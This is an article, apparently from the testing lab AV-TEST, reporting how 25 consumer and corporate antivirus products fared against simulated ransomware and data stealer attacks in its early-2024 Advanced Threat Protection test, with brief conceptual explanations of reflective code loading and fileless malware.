Cybersecurity: Defense Against the Latest Attacking Techniques in the ATP Test
In an ongoing race against cybercriminals, security vendors need to constantly maintain the upper hand in order to sustainably guarantee the security of data for both consumer users and corporate users. The Advanced Threat Protection test from AV-TEST relies on detailed individual tests to examine whether the vendors are able to detect and defend against the latest, most sophisticated cyberattacks. Twenty-five products were evaluated on Windows systems in this test using ten scenarios to simulate ransomware and data stealer attacks on the systems. Special attacking techniques such as reflective code loading and fileless malware, which challenge modern security algorithms as they have to detect dangerous lines of code or scripts, were used. The outcome of the testing shows that overall the security products can defend their leading position; however, some products do not have all attack steps under control.
25 security products for consumer users and corporate users prove their mettle in the current Advanced Threat Protection (ATP) test showing how they defend against ransomware and data stealer attacks. “Advanced” testing means that all products need to thwart the attackers in ten complex scenarios where they attempt to invade the Windows systems. If the attackers accomplish their goal, the systems are encrypted or the data is stolen, and sometimes even both events occur. In the ATP test, the laboratory records each individual step in defending against the attack, and this is documented in a matrix modeled according to MITRE ATT&CK standard. The test scenarios are divided into five ransomware and five data stealer scenarios. There are three main steps in the defense against ransomware, for which up to 3 points are awarded. In the case of data stealers, there are four evaluated actions and in turn up to 4 points can be awarded. The highest protection score that a product can achieve is 35 points.
Consumer products and corporate solutions in the ATP test
The ATP test from January and February 2024 included 12 products for consumer users and 13 endpoint solutions for corporate users. The consumer protection packages were from Avast, AVG, Avira, Bitdefender, ESET, F-Secure, G DATA, Kaspersky, Microsoft, Microworld, Norton, and PC Matic.
The products for corporate users in the test were from Avast, Bitdefender (two versions), Check Point, ESET, HP Security, Kaspersky (two versions), Microsoft, Qualys, Seqrite, Symantec, and WithSecure.
The 250 individual results that were recorded as part of this test were summarized using well-defined visual graphics listing ten results for each product. It quickly becomes clear where the respective product has stopped the attacker in its tracks. For this purpose, the lab used a color coding system. Green indicates that the attack was stopped. Yellow indicates that problems occurred, where even part of the data might have been encrypted. Orange-red indicates that the attacker was successful and data was stolen or the system was encrypted, which would then often end up with a ransom demand.
The latest attacking techniques in the defense test
The arsenal of malware or malicious scripts is large and constantly evolving. For example, the attack technique involving the injection of code has been around for a long time. However, the way in which this dangerous code is injected is constantly changing its tactics. A new and very popular technique right now is reflective code injection. The testing also involves fileless malware, a particularly aggressive form of cyberattack. Here is a brief explanation of these techniques.
Reflective code injection: Reflective code injection is very similar to process injection, except that the injection loads the code into the memory of the process instead of into a separate process. In this manner, reflective code loading can bypass process-based detection methods by concealing the execution of arbitrary code within a legitimate and harmless process. This type of code injection is therefore also fileless, as it only injects the code into a process.
In the test, a PowerShell implant downloads a .NET assembly from the control server. This assembly is loaded and executed, allowing the execution of a data stealer or ransomware attack.
Fileless malware: Fileless malware means that a dangerous code does not find its way into the system via a file package – something that would be easier to detect. Instead, the malicious code writes itself from the memory directly to the Windows registry, for example. The attacker uses the tools already available in Windows, such as PowerShell. It means that there is no file that a protection system could isolate.
In the test, encrypted PowerShell code is written into the registry. This code is later read and executed by Windows, which launches a data stealer or ransomware attack.
The ten test scenarios
All attack scenarios are documented according to the standard of the MITRE ATT&CK database. The individual sub-techniques, for example "T1566.001", are listed in the MITRE database for "Techniques" under "Phishing: Spearphishing Attachment". Each test step is thus defined among the experts and can be logically understood. In addition, all attack techniques are explained, along with how successful the malware is.
ATP test: results for consumer user products
The lab tested 12 end-user products in the extended ATP test to see how well they detect and defend against data stealers and ransomware using the latest cyberattack techniques. Products from the following vendors were put to the test: Avast, AVG, Avira, Bitdefender, ESET, F-Secure, G DATA, Kaspersky, Microsoft, Microworld, Norton, and PC Matic.
8 of the 12 protection packages for Windows examined had no problems at all during the entire test in detecting the attackers and immediately stopping and isolating them in one of the first two steps: Avira, Bitdefender, ESET, G DATA, Kaspersky, Microworld, Norton, and PC Matic.
Microsoft Defender detected the attackers in the ten scenarios, but in one case with ransomware it could not initially stop further execution. The startup file was generated, but it was then prevented from being executed, so in the end the system was not encrypted. In one case, the points scored were halved for this reason. In general, Microsoft scored 33.5 out of 35 points in this test.
The issues for the products from Avast, AVG, and F-Secure were almost identical in the test. The products detected the attackers in two cases with data stealers and two cases with ransomware; however, they were initially unable to prevent them from taking further action. The defense mechanism was only triggered when the data was about to be extracted or encrypted, which was when the destructive component was isolated and rendered harmless. It prevented data from being stolen and nothing could be encrypted.
Nevertheless, with the products from Avast, AVG, and F-Secure, the attackers managed to advance further than they should have been able to. For this reason, based on the four cases, there was a significant point deduction. At the end of the test, all of the three products mentioned received 29 out of 35 points for their protection score.
All protection packages earned the “Advanced Certified” certificate in the ATP test. The only exception here was G DATA: although the product performed well in testing, AV-TEST only certifies products that achieve certification in the regular monthly tests and fulfill all their criteria.
ATP test: results for endpoint products
The testing of corporate solutions examined endpoint products from the following vendors: Avast, Bitdefender (two versions), Check Point, ESET, HP Security, Kaspersky (two versions), Microsoft, Qualys, Seqrite, Symantec, and WithSecure.
The corporate product test went extremely well for nearly all vendors. 12 of the 13 endpoint products tested did not allow ransomware attackers or data stealers a chance in any of the ten scenarios, effectively stopping all attacks immediately. For this feat, all products received the full 35 points in terms of the protection score.
Seqrite was the only product that encountered a problem: it detected the attackers in two ransomware attacks and two data stealer attacks, yet it was unable to stop the initial actions. It was only possible in later steps for the product to isolate the malware and stop the attackers’ destructive efforts. In the end, no data was stolen or encrypted. Nevertheless, it hurt Seqrite in the scoring, leaving it with only 29 out of 35 possible points.
All products received “Advanced Approved Endpoint Protection” certification, as they achieved 75 percent (at least 26.5 points out of 35 points) for the protection score.
Test: preventing even the newest type of cyberattacks
The current test is an impressive display of the importance of the Advanced Threat Protection (ATP) test for vendors and product users. Some products would simply not have detected the attacks and would not have received any points in a classic protection test. The ATP test shows that the various protection modules of the tested products could still fend off an attack further down the line, even if it was not initially detected.
The tables show that each product in the test detected the attacker in each of the ten scenarios. There were only points deducted in the intermediate steps for some products. In the end, all products – without exception – received the critical single point for “attack stopped” when it came to whether the attack was thwarted or not.